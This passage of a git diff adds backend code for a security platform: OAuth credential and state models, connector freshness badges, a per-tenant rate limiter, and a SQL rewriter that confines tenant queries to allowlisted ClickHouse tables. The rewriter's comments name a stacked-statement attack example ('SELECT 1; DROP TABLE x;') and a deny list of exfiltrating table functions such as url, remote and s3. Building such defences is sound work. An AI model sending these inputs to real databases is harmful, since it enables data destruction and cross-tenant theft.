+ Composite primary key (tenant_id, connector_type) — a tenant only
+ ever has one OAuth app per connector class, since the upstream
+ provider conflates app identity with credential identity. If we
+ ever need to support multiple (e.g. dev + prod GitHub apps) we'll
+ bolt on an opaque ``credential_id`` later; for now the simpler
+ model is fine.
+ """
+
+ __tablename__ = "oauth_app_credentials"
+
+ tenant_id: Mapped[uuid.UUID] = mapped_column(
+ UUID(as_uuid=True),
+ ForeignKey("tenants.id", ondelete="CASCADE"),
+ primary_key=True,
+ )
+ connector_type: Mapped[str] = mapped_column(String(50), primary_key=True)
+ client_id: Mapped[str] = mapped_column(Text, nullable=False)
+ # Encrypted client secret (vault:v1:<base64>). Never round-trips to
+ # the UI; we expose only ``has_secret: bool`` in the GET endpoint.
+ client_secret_vault: Mapped[str] = mapped_column(Text, nullable=False)
+ # Optional override of the default authorize/token URLs for on-prem
+ # providers (Atlassian Data Center, GitHub Enterprise Server,
+ # internal Okta orgs). NULL means use the default from the
+ # connector's OAuthHints.
+ authorize_url: Mapped[str | None] = mapped_column(Text, nullable=True)
+ token_url: Mapped[str | None] = mapped_column(Text, nullable=True)
+ # Optional scope downscoping. NULL means use the default scopes
+ # from the connector's OAuthHints. Stored as JSON array of strings.
+ scopes: Mapped[list[str] | None] = mapped_column(JSONB, nullable=True)
+ created_at: Mapped[datetime] = mapped_column(
+ DateTime(timezone=True), default=lambda: datetime.now(UTC)
+ )
+ updated_at: Mapped[datetime] = mapped_column(
+ DateTime(timezone=True),
+ default=lambda: datetime.now(UTC),
+ onupdate=lambda: datetime.now(UTC),
+ )
+
+
+class OAuthState(Base):
+ """Short-lived OAuth state nonce + threaded context.
+
+ The lifecycle is:
+
+ 1. ``/oauth/start`` generates a 32-byte URL-safe token, persists a
+ row capturing (tenant, user, connector_type, optional connector_id,
+ optional PKCE verifier, extras, return_to), and 302s to the
+ provider's authorize URL with ``state=<token>``.
+ 2. The provider 302s back to ``/oauth/callback?code=…&state=…``.
+ 3. The callback looks up the row (verifying expiry), exchanges the
+ code, deletes the row (single-use), and creates or updates the
+ connector. Then it 302s the operator to ``return_to``.
+
+ A periodic worker can sweep expired rows via
+ ``DELETE FROM oauth_states WHERE expires_at < now()``.
+ """
+
+ __tablename__ = "oauth_states"
+
+ state: Mapped[str] = mapped_column(Text, primary_key=True)
+ tenant_id: Mapped[uuid.UUID] = mapped_column(
+ UUID(as_uuid=True),
+ ForeignKey("tenants.id", ondelete="CASCADE"),
+ nullable=False,
+ )
+ user_id: Mapped[uuid.UUID | None] = mapped_column(
+ UUID(as_uuid=True),
+ ForeignKey("users.id", ondelete="CASCADE"),
+ nullable=True,
+ )
+ connector_type: Mapped[str] = mapped_column(String(50), nullable=False)
+ # NULL means the callback should create a new connector row;
+ # non-NULL means we're re-authing an existing instance.
+ connector_id: Mapped[uuid.UUID | None] = mapped_column(
+ UUID(as_uuid=True),
+ ForeignKey("connectors.id", ondelete="CASCADE"),
+ nullable=True,
+ )
+ # PKCE code_verifier for providers that mandate it (Atlassian 3LO).
+ code_verifier: Mapped[str | None] = mapped_column(Text, nullable=True)
+ # Free-form hint that becomes part of connector_config so the
+ # callback knows what extras to persist (e.g. {"organization": "acme"}
+ # for GitHub, {"admin_email": "..."} for Google Workspace).
+ extras: Mapped[dict] = mapped_column(JSONB, default=dict, nullable=False)
+ # Where to redirect the operator after the callback. Defaults to
+ # /onboarding so the verify-data-flowing screen lights up.
+ return_to: Mapped[str] = mapped_column(
+ Text, default="/onboarding", nullable=False
+ )
+ created_at: Mapped[datetime] = mapped_column(
+ DateTime(timezone=True), default=lambda: datetime.now(UTC), nullable=False
+ )
+ expires_at: Mapped[datetime] = mapped_column(
+ DateTime(timezone=True), nullable=False
+ )
diff --git a/services/api/app/services/connector_freshness.py b/services/api/app/services/connector_freshness.py
new file mode 100644
index 000000000..94ba53c3b
--- /dev/null
+++ b/services/api/app/services/connector_freshness.py
@@ -0,0 +1,203 @@
+"""Freshness SLO computation for connector instances (Workstream 5).
+
+The plan calls for green/yellow/red badges on every connector card driven
+by ``now() - last_event_at`` against a per-class expected cadence. This
+module is the canonical source-of-truth for that rule: keep it pure,
+synchronous, and tightly tested so the API endpoint stays a thin
+projection over ``Connector`` rows.
+
+Two design decisions worth calling out:
+
+1. **The expected-cadence table is keyed by connector category, not by
+ connector_type.** The plan explicitly calls out per-class cadence
+ ("5 min for EDR, 1 hr for vuln scanners"). Categories are stable
+ (``cloud``, ``edr``, ``iam``, ``network``, ``saas``, ``siem``, ``vcs``,
+ plus ``vuln``/``email``/``ticketing`` once those P0 connectors land)
+ and cheap to extend. Hard-coding per-vendor numbers would force a
+ release every time a new connector ships.
+
+2. **A connector with no events ever (``last_event_at IS NULL``) is
+ ``unknown``, not red.** A brand-new install that has never polled
+ should not paint red on the dashboard the moment it lands — that
+ would generate noise in the very onboarding flow Workstream 1 is
+ trying to make feel seamless. Red is reserved for "we *had* events
+ and they stopped".
+
+Status ladder
+-------------
+
+* ``unknown`` — no ``last_event_at`` (connector hasn't seen its first
+ event, or the row was just created).
+* ``green`` — fresh: ``age <= cadence``.
+* ``yellow`` — late but not panic: ``cadence < age <= 2 * cadence``.
+* ``red`` — stale: ``age > 2 * cadence``.
+
+The 2x multiplier matches the plan's posture of "tolerate one missed
+poll cycle before paging the operator". Operators can tune cadence
+overrides per-instance via ``connector_config.expected_cadence_seconds``
+(WS5 follow-up); the override path lands in the resolver below so the
+default table stays the floor.
+"""
+
+from __future__ import annotations
+
+from dataclasses import dataclass
+from datetime import UTC, datetime
+from typing import Any
+
+# ----------------------------------------------------------------- cadence table
+
+# Per-category cadence in seconds. Keep these conservative so the badge
+# stays green during a normal poll cycle (default poll interval is 300s
+# in services/connectors/app/scheduler.py — anything tighter than that
+# would flap green/yellow on every empty poll).
+#
+# The category names exactly match ``Connector.category`` values used by
+# the catalog (see services/api/app/data/connector_catalog_fallback.json
+# and services/connectors/app/connectors/<id>.py::connector_category).
+# A category not in this table falls through to ``_DEFAULT_CADENCE_S``.
+_CADENCE_BY_CATEGORY: dict[str, int] = {
+ # EDR/XDR: alerts are time-critical; 5 min cadence per the plan.
+ "edr": 5 * 60,
+ # SIEM: 15 min cadence — search-job APIs (Sumo, Chronicle, Splunk)
+ # are batched, and the existing scheduler default polls every 5 min,
+ # so 15 min gives ~3 poll cycles of slack before flagging yellow.
+ "siem": 15 * 60,
+ # Identity / SSO: 30 min cadence. Audit log volume is bursty — the
+ # cadence should tolerate a quiet window without flapping red on a
+ # weekend morning.
+ "iam": 30 * 60,
+ # SaaS audit logs (Slack, Salesforce, Auth0, M365): 30 min — same
+ # reasoning as IAM.
+ "saas": 30 * 60,
+ # Network / DNS (Cisco Umbrella, Cloudflare): 30 min, batched APIs.
+ "network": 30 * 60,
+ # Cloud posture / CSPM (AWS GuardDuty, Lacework, Azure Defender):
+ # 30 min — findings refresh on the order of tens of minutes.
+ "cloud": 30 * 60,
+ # VCS (GitHub, Atlassian, GitLab once it lands): 15 min — push
+ # events are dense for active repos.
+ "vcs": 15 * 60,
+ # Vuln scanners (Tenable, Snyk, Qualys): 60 min per the plan. Scans
+ # legitimately run on hour-long cadences.
+ "vuln": 60 * 60,
+ # Email security (Mimecast, Defender for O365): 15 min — phishing
+ # alerts are time-critical.
+ "email": 15 * 60,
+ # Ticketing (Jira, ServiceNow, PagerDuty): 30 min. ITSM systems
+ # rarely fire every minute and the noise floor for these is high.
+ "ticketing": 30 * 60,
+}
+
+# Catch-all when ``Connector.category`` is unknown (legacy rows, brand-new
+# category before this table is updated). 30 min is the median across the
+# table above and is conservative enough not to false-alarm.
+_DEFAULT_CADENCE_S = 30 * 60
+
+# Multiplier for the yellow→red boundary. 2x ≈ "we tolerated one missed
+# cycle, now we're paging".
+_RED_MULTIPLIER = 2.0
+
+
+# ----------------------------------------------------------------- public API
+
+
+@dataclass(frozen=True)
+class FreshnessSLO:
+ """Freshness verdict for a single connector instance.
+
+ Frozen so the response builder can't accidentally mutate it after
+ the fact. ``status`` is one of ``unknown|green|yellow|red`` and is
+ the only field the UI actually needs to color the badge — the rest
+ are surfaced for the "why is this yellow?" tooltip.
+ """
+
+ status: str
+ expected_cadence_seconds: int
+ seconds_since_last_event: int | None
+ # Echoed back so the UI can render "Expected within 5 min" without
+ # re-doing the lookup. Also useful for tests.
+ category: str
+
+ def to_dict(self) -> dict[str, Any]:
+ """Serialize to the shape FastAPI surfaces in JSON responses."""
+ return {
+ "status": self.status,
+ "expected_cadence_seconds": self.expected_cadence_seconds,
+ "seconds_since_last_event": self.seconds_since_last_event,
+ "category": self.category,
+ }
+
+
+def expected_cadence_seconds(
+ category: str | None,
+ *,
+ override_seconds: int | None = None,
+) -> int:
+ """Resolve the expected cadence for a category, honoring an override.
+
+ Operators can override the default per-instance via
+ ``connector_config.expected_cadence_seconds`` once that knob is
+ surfaced in the wizard (WS5 follow-up). Until then the override is
+ ``None`` and we always return the table value. Negative or zero
+ overrides are silently rejected — they would force the SLO into
+ permanent red and almost certainly mean a typo.
+ """
+ if override_seconds is not None and override_seconds > 0:
+ return int(override_seconds)
+ if not category:
+ return _DEFAULT_CADENCE_S
+ return _CADENCE_BY_CATEGORY.get(category.lower(), _DEFAULT_CADENCE_S)
+
+
+def compute_freshness(
+ *,
+ category: str | None,
+ last_event_at: datetime | None,
+ now: datetime | None = None,
+ override_seconds: int | None = None,
+) -> FreshnessSLO:
+ """Compute the freshness SLO for a connector instance.
+
+ Pure function: takes the three inputs the rule depends on and
+ returns the verdict. No DB access, no clock side-effects (``now``
+ is injectable so tests can pin time deterministically). The caller
+ (the connectors API endpoint) is responsible for projecting this
+ onto the response model.
+ """
+ cadence = expected_cadence_seconds(category, override_seconds=override_seconds)
+ cat = (category or "").lower() or "unknown"
+
+ if last_event_at is None:
+ # Brand-new connector that has never seen an event. Don't paint
+ # red — the onboarding flow polls /last_event_at to wait for
+ # this exact transition.
+ return FreshnessSLO(
+ status="unknown",
+ expected_cadence_seconds=cadence,
+ seconds_since_last_event=None,
+ category=cat,
+ )
+
+ # Be defensive against drivers that strip tzinfo. ``Connector.last_event_at``
+ # is declared ``DateTime(timezone=True)`` so this should be a no-op
+ # in practice, but a naive datetime would otherwise raise on subtraction.
+ ts = last_event_at if last_event_at.tzinfo else last_event_at.replace(tzinfo=UTC)
+ current = now if now is not None else datetime.now(UTC)
+ if current.tzinfo is None:
+ current = current.replace(tzinfo=UTC)
+
+ age = max(0, int((current - ts).total_seconds()))
+ if age <= cadence:
+ status = "green"
+ elif age <= int(cadence * _RED_MULTIPLIER):
+ status = "yellow"
+ else:
+ status = "red"
+
+ return FreshnessSLO(
+ status=status,
+ expected_cadence_seconds=cadence,
+ seconds_since_last_event=age,
+ category=cat,
+ )
diff --git a/services/api/app/services/lake_rate_limit.py b/services/api/app/services/lake_rate_limit.py
new file mode 100644
index 000000000..516bd1c64
--- /dev/null
+++ b/services/api/app/services/lake_rate_limit.py
@@ -0,0 +1,317 @@
+"""Per-tenant token-bucket rate limiter for the lake API (Workstream 7).
+
+The lake exposes ``POST /api/v1/lake/sql`` and ``GET /api/v1/lake/schema``,
+both of which can be expensive — a single ClickHouse query against
+``aisoc.raw_events`` can scan billions of rows. Without a per-tenant
+soft cap, one noisy tenant or one runaway agent loop can starve every
+other caller in the cluster.
+
+Design choices
+--------------
+
+* **Token bucket, not fixed window.** Token buckets allow bursts (a
+ human poking around the lake can fire five queries in five seconds
+ and still be within budget) while smoothing sustained load. Fixed
+ windows have ugly edge effects at the boundary and don't model
+ "you've been quiet for a minute, here's some catch-up budget" the
+ way operators expect.
+* **In-memory, per-process.** The plan calls this a *soft* limit. The
+ hard limits live downstream in ClickHouse query settings
+ (``max_execution_time``, ``max_memory_usage``). With a single API
+ pod the in-memory bucket is exact; with multiple pods it under-
+ enforces by a factor of ``n_pods``, which is acceptable given the
+ belt-and-braces ClickHouse caps. The class is intentionally written
+ so the in-memory store can be swapped for a Redis-backed
+ implementation later without changing callers.
+* **No external dependencies on the hot path.** A Redis round-trip
+ per query would be cheaper than ClickHouse, but it still adds
+ network jitter to *every* request. The in-memory variant is O(1)
+ per-call.
+* **Costed acquisition.** Some calls (``schema`` lookup) are cheap;
+ others (``SELECT *`` over a year of raw_events) aren't. We let the
+ caller pass a token cost so the bucket reflects work done, not
+ request count.
+* **Asyncio-safe.** Each bucket has its own ``asyncio.Lock`` so
+ concurrent acquisitions on the same tenant are serialised; we
+ *don't* take a global lock because that would serialise the whole
+ API across tenants.
+
+Threat model
+------------
+
+The limiter sits in front of the rewriter (cheap CPU work) and the
+ClickHouse client (expensive network/IO). An attacker who controls
+one tenant can saturate that tenant's bucket; they can't drain
+another tenant's budget because the bucket key is the tenant UUID.
+The same applies to the agent: a misbehaving agent run can DoS its
+own tenant but no one else.
+
+Memory accounting
+-----------------
+
+We never evict bucket state — a tenant who hasn't queried for a week
+holds a few hundred bytes in the dict. With ~10⁴ tenants that's a
+few MB, which is fine. If we ever ship a free-tier with millions of
+tenants we'll add an LRU eviction.
+"""
+
+from __future__ import annotations
+
+import asyncio
+import time
+from dataclasses import dataclass, field
+from uuid import UUID
+
+# Default budget tuned to "human pokes around for a couple of minutes
+# without thinking about it". 60 tokens at 1/sec means a steady ~1 RPS
+# with bursts of 60. For agents, an outer loop should usually plan
+# every few seconds, so this leaves plenty of headroom while still
+# capping a runaway loop.
+DEFAULT_CAPACITY: float = 60.0
+DEFAULT_REFILL_PER_SECOND: float = 1.0
+
+
+@dataclass
+class _TokenBucket:
+ """Single tenant's bucket.
+
+ The bucket lazily refills on read: instead of running a background
+ task that ticks every second across the entire tenant set, we
+ compute the elapsed time since the last refill on each
+ :meth:`acquire` and add that many tokens up to the capacity. This
+ is both simpler and exact (no scheduler jitter).
+ """
+
+ capacity: float
+ refill_per_second: float
+ # We initialise the bucket full so a tenant's first request always
+ # succeeds — the limiter exists to control sustained load, not to
+ # gate cold-start traffic. ``field(default_factory=...)`` evaluates
+ # at instance construction so it picks up changes to ``capacity``
+ # via the dataclass keyword arg flow.
+ tokens: float = field(default=DEFAULT_CAPACITY)
+ last_refill: float = field(default_factory=time.monotonic)
+ lock: asyncio.Lock = field(default_factory=asyncio.Lock)
+
+ def __post_init__(self) -> None:
+ # ``tokens`` defaults to DEFAULT_CAPACITY; if the caller passed
+ # a custom capacity we should start full at *that* capacity, not
+ # the module default. This keeps tests deterministic.
+ if self.tokens > self.capacity:
+ self.tokens = self.capacity
+
+ def _refill(self, now: float) -> None:
+ """Top up the bucket based on elapsed wall time.
+
+ Lazy refill is mathematically equivalent to a continuous
+ leaky-bucket model when ``refill_per_second`` is constant.
+ Capped at :attr:`capacity` so we don't accumulate unbounded
+ burst budget across long idle periods.
+ """
+ elapsed = max(0.0, now - self.last_refill)
+ if elapsed > 0.0:
+ self.tokens = min(self.capacity, self.tokens + elapsed * self.refill_per_second)
+ self.last_refill = now
+
+
+@dataclass(frozen=True)
+class RateLimitDecision:
+ """Outcome of an :meth:`acquire` attempt.
+
+ The endpoint layer turns this into either a normal response with
+ rate-limit headers (``X-RateLimit-Remaining``, ``Retry-After``) or
+ an HTTP 429.
+ """
+
+ allowed: bool
+ remaining: float
+ capacity: float
+ retry_after_seconds: float
+
+ def to_headers(self) -> dict[str, str]:
+ """Produce IETF-ish rate-limit headers.
+
+ We use the de-facto standard ``X-RateLimit-*`` family rather
+ than the newer ``RateLimit-*`` draft because most operator
+ dashboards already speak the older names. ``Retry-After`` is
+ an integer (seconds) because the RFC 7231 grammar requires it.
+ """
+ headers = {
+ "X-RateLimit-Limit": f"{int(self.capacity)}",
+ "X-RateLimit-Remaining": f"{max(0, int(self.remaining))}",
+ }
+ if not self.allowed:
+ # ``Retry-After`` MUST be a non-negative integer per
+ # RFC 7231 §7.1.3. Round up so the client doesn't retry
+ # one millisecond too early and bounce off the bucket
+ # again.
+ headers["Retry-After"] = f"{max(1, int(self.retry_after_seconds + 0.999))}"
+ return headers
+
+
+class LakeRateLimiter:
+ """Per-tenant token-bucket limiter for the lake API surface.
+
+ Usage::
+
+ limiter = LakeRateLimiter()
+ decision = await limiter.acquire(tenant_id, cost=1.0)
+ if not decision.allowed:
+ raise HTTPException(status_code=429, headers=decision.to_headers())
+
+ The class is safe to share across requests; it owns its own
+ locking. Callers should construct it once at module import and
+ reuse it via :func:`get_lake_rate_limiter`.
+ """
+
+ def __init__(
+ self,
+ *,
+ capacity: float = DEFAULT_CAPACITY,
+ refill_per_second: float = DEFAULT_REFILL_PER_SECOND,
+ ) -> None:
+ if capacity <= 0:
+ raise ValueError("capacity must be positive")
+ if refill_per_second <= 0:
+ raise ValueError("refill_per_second must be positive")
+ self._capacity = capacity
+ self._refill_per_second = refill_per_second
+ self._buckets: dict[str, _TokenBucket] = {}
+ # Coarse-grained lock for the dict structure itself. We hold
+ # it only long enough to look up / insert the per-bucket lock,
+ # so it never serialises the actual rate-limit decisions.
+ self._registry_lock = asyncio.Lock()
+
+ async def acquire(
+ self,
+ tenant_id: UUID | str,
+ *,
+ cost: float = 1.0,
+ ) -> RateLimitDecision:
+ """Attempt to consume ``cost`` tokens for ``tenant_id``.
+
+ ``cost`` lets the endpoint price different operations
+ differently — schema reads cost 0.5, vanilla queries cost 1.0,
+ and a future "expensive query" detection (e.g. unbounded
+ ``SELECT *``) could charge 5.0. Cost > capacity is invalid.
+
+ Returns a :class:`RateLimitDecision`. Never raises on the
+ rate-limited path; the caller decides how to present the 429.
+ """
+ if cost <= 0:
+ raise ValueError("cost must be positive")
+ if cost > self._capacity:
+ # A single request asking for more than the bucket can
+ # ever hold is a programmer error, not a runtime
+ # condition. Surfacing it as a denial would loop forever
+ # because no amount of waiting could refill enough; it's
+ # better to fail loudly here.
+ raise ValueError(
+ f"cost {cost} exceeds bucket capacity {self._capacity}; "
+ "this would never succeed"
+ )
+
+ key = str(tenant_id)
+ bucket = await self._get_bucket(key)
+
+ async with bucket.lock:
+ now = time.monotonic()
+ bucket._refill(now)
+
+ if bucket.tokens >= cost:
+ bucket.tokens -= cost
+ return RateLimitDecision(
+ allowed=True,
+ remaining=bucket.tokens,
+ capacity=self._capacity,
+ retry_after_seconds=0.0,
+ )
+
+ # Compute the time the caller would need to wait for the
+ # bucket to refill enough for *this* request. We don't
+ # actually sleep here — the API layer prefers to return a
+ # 429 with Retry-After so callers can back off
+ # cooperatively rather than holding sockets open.
+ shortfall = cost - bucket.tokens
+ retry_after = shortfall / self._refill_per_second
+ return RateLimitDecision(
+ allowed=False,
+ remaining=bucket.tokens,
+ capacity=self._capacity,
+ retry_after_seconds=retry_after,
+ )
+
+ async def peek(self, tenant_id: UUID | str) -> RateLimitDecision:
+ """Inspect the current bucket without consuming tokens.
+
+ Powers a future ``GET /api/v1/lake/quota`` endpoint and is
+ useful in tests. Equivalent to ``acquire(cost=0)`` but with
+ an explicit no-charge contract.
+ """
+ key = str(tenant_id)
+ bucket = await self._get_bucket(key)
+ async with bucket.lock:
+ now = time.monotonic()
+ bucket._refill(now)
+ return RateLimitDecision(
+ allowed=True,
+ remaining=bucket.tokens,
+ capacity=self._capacity,
+ retry_after_seconds=0.0,
+ )
+
+ async def reset(self, tenant_id: UUID | str | None = None) -> None:
+ """Forget bucket state.
+
+ Drops one tenant's bucket if ``tenant_id`` is given, otherwise
+ clears the entire registry. Used by tests; an operator-facing
+ admin endpoint could expose the targeted variant for
+ emergency relief, e.g. when a tenant has been throttled by a
+ misconfigured cron job and we want to give them a clean
+ budget.
+ """
+ async with self._registry_lock:
+ if tenant_id is None:
+ self._buckets.clear()
+ else:
+ self._buckets.pop(str(tenant_id), None)
+
+ async def _get_bucket(self, key: str) -> _TokenBucket:
+ """Fetch (or lazily create) the per-tenant bucket.
+
+ Uses double-checked locking so the hot path (bucket already
+ exists) is lock-free aside from the dict read, and the cold
+ path (first ever request from a tenant) takes the registry
+ lock only once.
+ """
+ bucket = self._buckets.get(key)
+ if bucket is not None:
+ return bucket
+ async with self._registry_lock:
+ bucket = self._buckets.get(key)
+ if bucket is None:
+ bucket = _TokenBucket(
+ capacity=self._capacity,
+ refill_per_second=self._refill_per_second,
+ tokens=self._capacity,
+ )
+ self._buckets[key] = bucket
+ return bucket
+
+
+# Process-wide singleton. The endpoint module imports this directly so
+# we don't have to plumb it through DI; tests reset state via
+# :meth:`LakeRateLimiter.reset` rather than reconstructing the limiter.
+_lake_rate_limiter = LakeRateLimiter()
+
+
+def get_lake_rate_limiter() -> LakeRateLimiter:
+ """Return the process-wide lake rate limiter.
+
+ Wrapped in a getter (rather than re-exporting the module-level
+ singleton) so a test can monkey-patch the function to inject a
+ bespoke limiter without touching :data:`_lake_rate_limiter`. This
+ matches the pattern used by other ``get_*`` factories in
+ :mod:`app.services`.
+ """
+ return _lake_rate_limiter
diff --git a/services/api/app/services/lake_sql.py b/services/api/app/services/lake_sql.py
new file mode 100644
index 000000000..d575930b2
--- /dev/null
+++ b/services/api/app/services/lake_sql.py
@@ -0,0 +1,468 @@
+"""Tenant-lake SQL rewriter (Workstream 7).
+
+The tenant-lake API exposes ClickHouse to operators and to the agent
+runtime via ``POST /api/v1/lake/sql``. The threat model assumes the
+caller can craft *any* SQL string they like — including statements that
+probe other tenants' data, mutate the warehouse, hit ClickHouse table
+functions like ``url(...)`` to exfiltrate rows, or burn unbounded
+resources.
+
+This module is the policy layer that sits in front of ClickHouse:
+
+ untrusted SQL ─► parse with sqlglot
+ └─► reject anything that isn't a single SELECT/CTE
+ └─► reject any non-allowlisted table reference
+ └─► reject ClickHouse table functions
+ (url, remote, s3, file, mysql, postgresql, …)
+ └─► inject tenant_id = '<uuid>' into every
+ SELECT (top-level + every subquery + every CTE)
+ └─► clamp LIMIT to the configured cap
+ ──────────────► rewritten SQL forwarded to ClickHouse
+
+Why parser-level rewriting:
+
+* ``tenant_id`` lives in ``WHERE`` clauses, not in the parameter
+ position. ClickHouse parameter substitution (``%(name)s``) handles
+ literal values but it can't add a missing predicate.
+* A single regex can't cope with subqueries, CTEs, joins, aliases, or
+ the fact that the lake schema has *three* tables that all carry
+ ``tenant_id``. Walking the parse tree handles all of those uniformly.
+* sqlglot speaks ClickHouse dialect, so parsing succeeds for
+ ``DateTime64``, ``Array(String)``, ``ASOF JOIN`` and the other
+ ClickHouse-isms our schema uses.
+
+This rewriter is exercised by ``tests/test_lake_sql.py`` which is the
+authoritative spec — every change in this file must keep those tests
+green and ideally extend them.
+"""
+
+from __future__ import annotations
+
+import uuid
+from dataclasses import dataclass
+from typing import Final
+
+import sqlglot
+from sqlglot import exp
+
+
+# ----------------------------------------------------------- public surface
+
+
+# Tables agents and operators may query directly. Anything else — including
+# system tables, temporary tables, CSV-injected URLs, and the ``aisoc`` config
+# tables that live in Postgres — is denied at parse time.
+ALLOWED_TABLES: Final[frozenset[str]] = frozenset(
+ {
+ "aisoc.raw_events",
+ "aisoc.alert_metrics",
+ "aisoc.ioc_enrichments",
+ }
+)
+
+# Default schema (ClickHouse database) we resolve unqualified ``FROM <name>``
+# references against. Lets agents write ``FROM raw_events`` for terseness.
+DEFAULT_SCHEMA: Final[str] = "aisoc"
+
+# Default max rows the rewriter will let a query return. Keeps a pathological
+# ``SELECT *`` from raw_events from blowing up the agent's context window or
+# starving ClickHouse memory.
+DEFAULT_ROW_CAP: Final[int] = 10_000
+
+# Hard ceiling regardless of caller-supplied ``limit`` — prevents privileged
+# callers from accidentally requesting a million rows.
+MAX_ROW_CAP: Final[int] = 100_000
+
+# DML/DDL roots that are unambiguously forbidden (vs. parser-level garbage).
+# We map these to ``LakeSqlForbiddenError`` so the API can return 403 rather
+# than 400 — the caller wrote real SQL, just not SQL we'll execute.
+#
+# Why ``exp.Kill`` is here as well as ``exp.Command``: sqlglot parses
+# ClickHouse ``KILL QUERY 'id'`` into a dedicated :class:`exp.Kill` node
+# rather than the generic :class:`exp.Command` fallback. Without listing
+# it explicitly the rewriter would route it to the syntax-error branch
+# (since Kill is not a Select/Union/With), which would mask a real
+# privilege-escalation attempt as a "typo" in the operator UI. See
+# ``test_clickhouse_admin_commands_rejected`` in tests/test_lake_sql.py.
+_FORBIDDEN_ROOTS: Final[tuple[type[exp.Expression], ...]] = (
+ exp.Insert,
+ exp.Update,
+ exp.Delete,
+ exp.Drop,
+ exp.Create,
+ exp.Alter,
+ exp.TruncateTable,
+ exp.Merge,
+ exp.Kill, # KILL QUERY / KILL MUTATION
+ exp.Command, # ClickHouse SYSTEM, OPTIMIZE, and other admin verbs
+)
+
+
+class LakeSqlError(ValueError):
+ """Raised when a query violates lake policy."""
+
+
+class LakeSqlSyntaxError(LakeSqlError):
+ """The supplied SQL didn't parse as ClickHouse, or parsed as garbage."""
+
+
+class LakeSqlForbiddenError(LakeSqlError):
+ """The SQL parsed but violated policy (non-SELECT, bad table, …)."""
+
+
+@dataclass(frozen=True)
+class RewriteResult:
+ """Outcome of a successful rewrite.
+
+ Attributes
+ ----------
+ sql:
+ The rewritten ClickHouse SQL, with tenant predicates injected
+ and the ``LIMIT`` clause clamped.
+ row_cap:
+ The effective ``LIMIT`` we ended up applying.
+ referenced_tables:
+ The set of allowlisted tables actually touched by the query
+ (CTE aliases excluded). We surface this for audit logs.
+ """
+
+ sql: str
+ row_cap: int
+ referenced_tables: frozenset[str]
+
+
+def rewrite_for_tenant(
+ sql: str,
+ tenant_id: uuid.UUID,
+ *,
+ row_cap: int | None = None,
+) -> RewriteResult:
+ """Rewrite ``sql`` so it is safe to forward to ClickHouse.
+
+ Parameters
+ ----------
+ sql:
+ Raw SQL submitted by the caller. Must be a single statement.
+ tenant_id:
+ Tenant whose data the caller is authorised to see.
+ row_cap:
+ Optional override for the ``LIMIT`` clamp. Capped at
+ :data:`MAX_ROW_CAP`. ``None`` falls back to
+ :data:`DEFAULT_ROW_CAP`.
+
+ Raises
+ ------
+ LakeSqlSyntaxError
+ Parsing failed or produced a non-statement (e.g. a bare
+ expression).
+ LakeSqlForbiddenError
+ The statement is forbidden DML/DDL, references multiple
+ statements, touches a non-allowlisted table, or invokes a
+ ClickHouse table function.
+ """
+ effective_cap = _resolve_row_cap(row_cap)
+
+ # ── Step 1: parse ──────────────────────────────────────────────────
+ # We parse with the clickhouse dialect so constructs like
+ # ``Array(String)`` or trailing FORMAT clauses don't trip the parser.
+ # ``parse`` (not ``parse_one``) lets us catch the multi-statement
+ # attack — a caller sending ``SELECT 1; DROP TABLE x;`` is rejected
+ # even though the first statement on its own would have been fine.
+ try:
+ statements = [
+ stmt
+ for stmt in sqlglot.parse(sql, read="clickhouse")
+ if stmt is not None
+ ]
+ except sqlglot.errors.ParseError as exc:
+ raise LakeSqlSyntaxError(f"unable to parse SQL: {exc}") from exc
+
+ if not statements:
+ raise LakeSqlSyntaxError("empty SQL statement")
+ if len(statements) > 1:
+ raise LakeSqlForbiddenError(
+ "only a single statement is allowed per request"
+ )
+
+ tree = statements[0]
+
+ # Be generous about pure parenthesised SELECTs — `(SELECT …)` is a
+ # SELECT for our purposes.
+ root = tree.this if isinstance(tree, exp.Subquery) else tree
+
+ # ── Step 2: classify root ─────────────────────────────────────────
+ # Forbidden DML/DDL → 403. Parser-level garbage (NOT, IS, expressions,
+ # bare identifiers) → 400. Selects, Unions, and CTEs → continue.
+ if isinstance(root, _FORBIDDEN_ROOTS):
+ raise LakeSqlForbiddenError(
+ f"only SELECT statements are allowed (got {type(root).__name__.upper()})"
+ )
+
+ if not isinstance(root, (exp.Select, exp.Union, exp.With)):
+ raise LakeSqlSyntaxError(
+ "expected a SELECT / WITH / UNION statement; got "
+ f"{type(root).__name__}"
+ )
+
+ # ── Step 3: collect CTE aliases ──────────────────────────────────
+ # CTE names are *aliases*, not real tables, so a reference like
+ # ``FROM highs`` after ``WITH highs AS (…)`` should not be checked
+ # against the allowlist (and gets no predicate — its data is already
+ # tenant-filtered inside the CTE body).
+ cte_aliases = {cte.alias_or_name for cte in tree.find_all(exp.CTE)}
+
+ # ── Step 4: walk every Select and rewrite ────────────────────────
+ referenced: set[str] = set()
+ selects = list(tree.find_all(exp.Select))
+ if not selects:
+ raise LakeSqlSyntaxError("query has no SELECT clause")
+
+ # sqlglot will happily parse the bare token ``SELECT`` (or ``SELECT
+ # FROM …``) into a :class:`exp.Select` with no projection expressions.
+ # ClickHouse would reject that at execution time, but we'd rather
+ # surface it as a 400 here than ship an obviously malformed string
+ # to the warehouse and pay a round-trip. Each Select in the tree
+ # (including subqueries) must project at least one column or
+ # expression.
+ for select in selects:
+ if not select.expressions:
+ raise LakeSqlSyntaxError(
+ "SELECT clause has no projection expressions"
+ )
+
+ for select in selects:
+ _validate_and_rewrite_select(
+ select, tenant_id, cte_aliases, referenced
+ )
+
+ # ── Step 5: clamp the outer LIMIT ────────────────────────────────
+ _clamp_outer_limit(root, effective_cap)
+
+ rewritten = tree.sql(dialect="clickhouse")
+ return RewriteResult(
+ sql=rewritten,
+ row_cap=effective_cap,
+ referenced_tables=frozenset(referenced),
+ )
+
+
+# ----------------------------------------------------------- internals
+
+
+def _resolve_row_cap(row_cap: int | None) -> int:
+ """Clamp the row cap into ``[1, MAX_ROW_CAP]``."""
+ if row_cap is None:
+ return DEFAULT_ROW_CAP
+ if row_cap < 1:
+ return 1
+ if row_cap > MAX_ROW_CAP:
+ return MAX_ROW_CAP
+ return row_cap
+
+
+def _validate_and_rewrite_select(
+ select: exp.Select,
+ tenant_id: uuid.UUID,
+ cte_aliases: set[str],
+ referenced: set[str],
+) -> None:
+ """Enforce table policy and inject the tenant predicate on one Select.
+
+ ``select`` is a single ``SELECT`` node (the FROM/JOINs of CTEs and
+ nested subqueries surface as their own Select nodes that the caller
+ visits separately, so we don't recurse into them here).
+ """
+ direct_tables = _direct_tables(select)
+ if not direct_tables:
+ # Selects without a FROM (constant projections like
